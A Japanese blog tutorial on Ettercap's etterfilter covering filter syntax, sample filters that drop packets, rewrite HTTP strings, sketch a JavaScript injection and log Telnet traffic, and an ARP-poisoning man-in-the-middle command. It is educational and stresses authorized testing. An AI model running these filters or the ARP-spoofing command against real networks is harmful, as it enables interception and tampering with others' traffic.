Ettercapの強力な武器:etterfilterによるパケットフィルタリングと改ざん入門

セキュリティツール

Ettercapは、ネットワークセキュリティテスト、特に中間者攻撃(Man-in-the-Middle, MitM)のシミュレーションにおいて非常に強力なツールスイートです。その中でもetterfilterは、Ettercapが処理するネットワークパケットをリアルタイムでフィルタリングしたり、内容を改変したりするためのカスタムルールを作成できる、極めて柔軟性の高い機能を提供します。 このブログ記事では、etterfilterの基本的な使い方から、具体的なスクリプト例、そして利用上の注意点までを詳しく解説していきます。これを読めば、あなたもetterfilterを使いこなし、ネットワークトラフィックの解析や改ざん(もちろん、許可された環境でのテスト目的に限ります!)を行うことができるようになるでしょう。🤔

etterfilterとは何か? 📜

etterfilterは、Ettercapフィルタスクリプト(通常.ef拡張子を持つテキストファイル)を、Ettercap本体が実行時に解釈できるバイトコード形式(.efc拡張子)にコンパイルするためのコマンドラインユーティリティです。 コンパイルされたフィルタは、Ettercapの-Fオプションで指定することにより、Ettercapがネットワーク上で中継するパケットに適用されます。

フィルタスクリプトを使うことで、特定の条件に一致するパケットに対して、以下のようなアクションを実行できます:

  • パケットの破棄 (Drop): 特定の通信をブロックします。
  • パケット内容の置換 (Replace): 通信内容の一部を書き換えます。例えば、HTTP通信中の特定の文字列を変更するなど。
  • パケットの注入 (Inject): 既存のパケットの後や代わりに、ファイルの内容やコマンド実行結果からなる新しいパケットデータを挿入します。
  • メッセージの表示 (Msg): 特定のパケットが通過した際にコンソールにメッセージを表示します。デバッグに役立ちます。
  • パケットのログ記録 (Log): パケットの内容(またはその一部)を指定したファイルに記録します。

これにより、ネットワークトラフィックの挙動を詳細に分析したり、特定のプロトコルの脆弱性をテストしたり、セキュリティポリシーの有効性を検証したりすることが可能になります。ただし、その強力さゆえに、悪用される危険性も伴います。⚠️

etterfilterのコンパイルとフィルタスクリプトの構文 ⚙️

まず、フィルタスクリプトファイル(例: myfilter.ef)を作成します。その後、ターミナルでetterfilterコマンドを使ってコンパイルします。

etterfilter myfilter.ef -o myfilter.efc

このコマンドは、myfilter.efをコンパイルし、バイトコードファイルmyfilter.efcを生成します。-oオプションで出力ファイル名を指定しない場合、デフォルトでfilter.efという名前で出力されます。 コンパイル時に構文エラーなどがチェックされるため、Ettercapで実行する前にスクリプトの基本的な正しさを確認できます。

コンパイル済みのフィルタファイル(.efc)の内容を人間が読める形式で確認したい場合は、-tオプションを使用します。

etterfilter -t myfilter.efc

フィルタスクリプトは、C言語に似た構文を持ちますが、よりシンプルです。基本的な構造は、条件分岐(if / else)とアクション(関数呼び出し)で構成されます。ループ構文(for, while)はサポートされていません。

重要な注意点:
  • if文の条件式を囲む括弧 ( )前には必ずスペースが必要です。(例: if (condition)
  • 関数呼び出しの括弧 ( )前にはスペースを入れてはいけません。(例: drop()
  • ifelseブロック内の処理が1行であっても、必ず波括弧 { } で囲む必要があります。

条件式 (Conditions)

if文の条件式では、比較演算子や論理演算子、特定の関数を使ってパケットの特性を評価します。

カテゴリ要素説明
比較演算子 ==等しい
!=等しくない
>より大きい
<より小さい
>=以上
<=以下
論理演算子 &&AND (かつ)
||OR (または)
!NOT (否定)
データアクセス ip.protoIPプロトコル番号 (e.g., TCPは6, UDPは17, ICMPは1)
ip.src送信元IPアドレス (e.g., '192.168.1.10')
ip.dst宛先IPアドレス
ip.ttlIPヘッダのTTL (Time To Live) 値
tcp.src / udp.srcTCP/UDP送信元ポート番号
tcp.dst / udp.dstTCP/UDP宛先ポート番号
tcp.flagsTCPフラグ (e.g., SYN, ACK, FIN)
eth.src / eth.dst送信元/宛先MACアドレス
DATA.dataパケットのペイロードデータ(ネットワーク上を流れる生データ)。replace()inject() は主にこのデータを操作します。
DECODED.dataEttercapがデコードを試みたペイロードデータ (例: HTTPの中身など)。search()regex() で使われますが、このバッファへの変更は実際の通信には反映されません。
条件関数 search(where, what)where (通常 DATA.dataDECODED.data) の中に文字列 what が含まれるか検索します。
regex(where, pattern)where が正規表現 pattern にマッチするか評価します。

アクション関数 (Actions)

条件が真の場合に実行される処理です。

関数説明
drop()現在のパケットを破棄し、宛先に転送しません。
inject(filepath)指定したファイル filepath の内容を現在のパケットの直後 (またはdrop()と併用する場合は代わり) に挿入します。ファイル内容はバイナリデータとして扱われます。
execinject(command)指定したシェルコマンド command を実行し、その標準出力を現在のパケットの直後 (またはdrop()と併用する場合は代わり) に挿入します。
replace(what, with)DATA.data 内の文字列 what を文字列 with で置換します。バイナリデータも扱え、16進数エスケープシーケンス (例: \x41\x42) が利用可能です。
log(what, logfile)データ what (通常 DATA.dataDECODED.data) を指定したファイル logfile に追記します。
msg(message)指定した文字列 message をEttercapのコンソールに出力します。デバッグに便利です。
kill()現在の接続を切断します。通常はdrop()と併用されます。
exit()フィルタスクリプトの実行を終了します。これ以降のルールは評価されません。

実践!etterfilter スクリプト例 📝

ここでは、具体的なフィルタスクリプトの例をいくつか紹介します。これらの例を参考に、独自のフィルタを作成してみてください。

IPアドレス 192.168.1.100 からのTCPパケットをすべて破棄します。

# block_tcp_from_specific_ip.ef
if (ip.proto == TCP && ip.src == '192.168.1.100') {
  msg("Blocking TCP packet from 192.168.1.100\n");
  drop();
}

宛先ポートが80番(HTTP)のTCPパケット内で、”example.com” という文字列を “hacked-example.com” に置換します。

⚠️ 注意: これは平文のHTTP通信にのみ有効です。HTTPS通信は暗号化されているため、この方法では改ざんできません。また、gzipなどで圧縮されている場合も単純な文字列置換は機能しません。
# replace_http_string.ef
if (ip.proto == TCP && tcp.dst == 80) {
  # gzip圧縮を無効化しようと試みる(成功するとは限らない)
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-DontEncode");
    msg("Tried to disable compression.\n");
  }

  # 文字列置換
  if (search(DATA.data, "example.com")) {
    replace("example.com", "hacked-example.com");
    msg("Replaced 'example.com' in HTTP data.\n");
  }
}

特定のWebサイト (例: target-site.com を含むHTTP GETリクエスト) へのアクセスを検知し、レスポンスに簡単なJavaScriptアラートを注入します。

⚠️ 注意: これもHTTP通信に対する例です。実際の注入はレスポンスに対して行う必要があり、タイミングやコンテンツによっては複雑になります。これは非常に単純化された概念実証です。inject() を使う場合は、注入するHTML/JSをファイルに記述します。
# inject_js_alert.ef

# まず、注入するHTML/JSをファイルに保存します (e.g., alert.html)
# <script>alert('This connection is being monitored!');</script>

# フィルタスクリプト
if (ip.proto == TCP && tcp.dst == 80) {
  # GETリクエストを探す(非常に単純なチェック)
  if (regex(DATA.data, "GET /.*target-site\.com.*")) {
    msg("Detected access to target-site.com\n");
    # ここではリクエスト時にログを取るだけにする。
    # 実際の注入はレスポンス時に行う必要があり、より複雑なフィルタが必要。
    # 例: TCPシーケンス番号などを考慮してレスポンスパケットを特定し、
    # drop() と inject() を使って改ざんしたレスポンスを送る。
  }
}

# HTTPレスポンスを特定し、コンテンツを変更する例(概念)
if (ip.proto == TCP && tcp.src == 80) {
  # レスポンスヘッダの終わり (空行 \r\n\r\n) を探し、その後に注入を試みる
  # replace("\r\n\r\n", "\r\n\r\n<script>alert('Monitored!');</script>");
  # または、完全なレスポンスをファイルで用意し、drop() + inject() する。
  # if (特定条件) { drop(); inject("./modified_response.bin"); }
}

実際のHTML/JavaScriptインジェクションは、HTTPヘッダ(特にContent-Length)の整合性を保つ必要があり、単純なreplaceinjectだけでは壊れたページになる可能性が高いです。より高度なテクニックや専用のプロキシツールが必要になることが多いです。

Telnetプロトコル(TCPポート23)の通信内容をファイル telnet_log.txt に記録します。

# log_telnet.ef
if (ip.proto == TCP) {
  if (tcp.src == 23 || tcp.dst == 23) {
    # DECODED.data を使うと、表示可能な文字としてログに残しやすい場合がある
    log(DECODED.data, "./telnet_log.txt");
    msg("Logged Telnet packet.\n");
  }
}

(GitHubにある公式サンプル etter.filter.examples も非常に参考になります。)

Ettercapでのフィルタの使用方法 🚀

フィルタスクリプトをetterfilterでコンパイルしたら、Ettercapを実行する際に-Fオプションでコンパイル済みファイル (.efc) を指定します。

例えば、ARPスプーフィングを行い、ターゲット 192.168.1.101 とゲートウェイ 192.168.1.1 の間の通信に myfilter.efc を適用する場合(テキストモード、非対話的):

sudo ettercap -Tq -F myfilter.efc -M arp:remote /192.168.1.1// /192.168.1.101//
  • -T: テキストモードを使用
  • -q: パケット内容をコンソールに表示しない (quietモード)
  • -F myfilter.efc: コンパイル済みフィルタファイルを指定
  • -M arp:remote: ARPポイズニングによる中間者攻撃を実行
  • /192.168.1.1//: ターゲット1 (ゲートウェイなど)
  • /192.168.1.101//: ターゲット2 (特定のクライアントなど)

GUIモード (-Gオプション) でEttercapを使用している場合は、メニューからフィルタをロードするオプションがあるはずです (バージョンによってUIは異なります)。

⚠️ 重要な注意点と倫理的考察 ⚖️🚫

Ettercapおよびetterfilterは非常に強力なツールですが、その使用には大きな責任が伴います。以下の点を必ず理解し、遵守してください。

法的・倫理的責任

  • 許可なき使用の禁止: 自分自身が所有または管理し、明示的なテスト許可を得ているネットワーク以外でEttercapやetterfilterを使用することは、絶対に許可されていません。他者のネットワークや通信に無断で干渉することは、多くの国や地域で重大な法律違反となり、厳しい罰則の対象となります。
  • 倫理的利用: これらのツールは、セキュリティ研究、脆弱性診断、教育、ネットワーク管理といった正当な目的のためにのみ使用されるべきです。他者のプライバシーを侵害したり、損害を与えたりする目的での使用は、倫理的に許されません。
  • root権限: Ettercapは通常、ネットワークインターフェースを制御するためにroot(管理者)権限を必要とします。これは、システム全体に影響を与える操作が可能であることを意味し、誤った操作は深刻な問題を引き起こす可能性があります。

技術的な制約と考慮事項

  • HTTPSと暗号化通信: etterfilterによる単純な文字列置換やインジェクションは、HTTPS (SSL/TLS) で暗号化された通信には基本的に無力です。EttercapにはSSL MitM機能(偽の証明書を使って通信を解読・中継する)がありますが、これはブラウザに警告が表示されたり、HSTS (HTTP Strict Transport Security) によって妨げられたりすることが多く、現代のWeb環境では成功率が低下しています。暗号化されたDNS (DoH/DoT) も同様に解析・改ざんが困難です。
  • パフォーマンスへの影響: 複雑なフィルタリング処理は、ネットワークのパフォーマンスに影響を与える可能性があります。特に、大量のトラフィックに対してフィルタを適用すると、遅延が増加したり、パケットロスが発生したりすることがあります。
  • フィルタの複雑さ: 効果的で副作用のないフィルタを作成するには、ネットワークプロトコルに関する深い知識が必要です。不完全なフィルタは、意図しない通信のブロックや、通信の破壊を引き起こす可能性があります。
  • 検出の可能性: ARPスプーフィングなどのMitM攻撃は、IDS (侵入検知システム) や一部のネットワーク監視ツールによって検出される可能性があります。

まとめ 🎉

etterfilterは、Ettercapの強力なフィルタリングエンジンであり、ネットワークトラフィックをリアルタイムで分析、操作するための柔軟な手段を提供します。基本的な構文を理解し、提供されている関数を組み合わせることで、特定の通信のブロック、内容の改ざん、ログ記録など、様々なタスクを実行できます。

しかし、その強力さゆえに、悪用された場合の影響は甚大です。必ず、法と倫理を遵守し、許可された環境でのみ、教育・研究・正当なテスト目的で使用してください。 特にHTTPS通信への限界を理解し、ツールの能力と限界を正しく認識することが重要です。💻🛡️

この記事が、etterfilterを安全かつ効果的に活用するための一助となれば幸いです。

参考情報

コメント

タイトルとURLをコピーしました